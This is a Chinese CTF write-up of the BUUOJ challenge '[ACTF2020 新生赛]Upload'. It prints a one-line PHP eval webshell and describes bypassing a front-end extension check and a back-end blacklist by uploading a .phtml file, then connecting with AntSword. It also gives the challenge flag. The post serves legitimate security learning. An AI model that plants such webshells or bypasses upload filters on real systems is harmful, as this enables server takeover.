web-buuoj-[ACTF2020 新生赛]Upload


一、题面

可以看到页面存在一个文件上传的表单,大概率考察文件上传。

二、解题

2.1 上传yjh.php

<?php @eval($_POST['sxk'])?>

开启抓包:

可以看到弹窗提示只允许上传jpg、png和gif格式的图片文件,但是yakit没抓到包,说明做了前端后缀限制。

2.2 绕过前端限制

上传yjh.jpg,然后抓包改成yjh.php

上传成功,路径在uplo4d下。能上传成功说明没有检测文件内容。

  • jpg改成php后缀:

无法上传。但此时Content-Type类型已经是image/jpeg类型了,说明不是MIME类型的问题。

并且文件后缀是jpg的时候是可以上传的,说明后端并没有检测文件内容。不需要处理文件内容。

所以推出应该是黑名单检测

2.3 绕过黑名单

尝试php5失败。

尝试phtml成功:

2.4 getshell

蚁剑连接webshell。

flag:

flag{03a43cb0-3289-4db5-882b-119718175b29}

总结

本关主要考察文件上传漏洞,涉及的绕过方式主要有前端绕过和后缀名黑名单检测绕过。


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录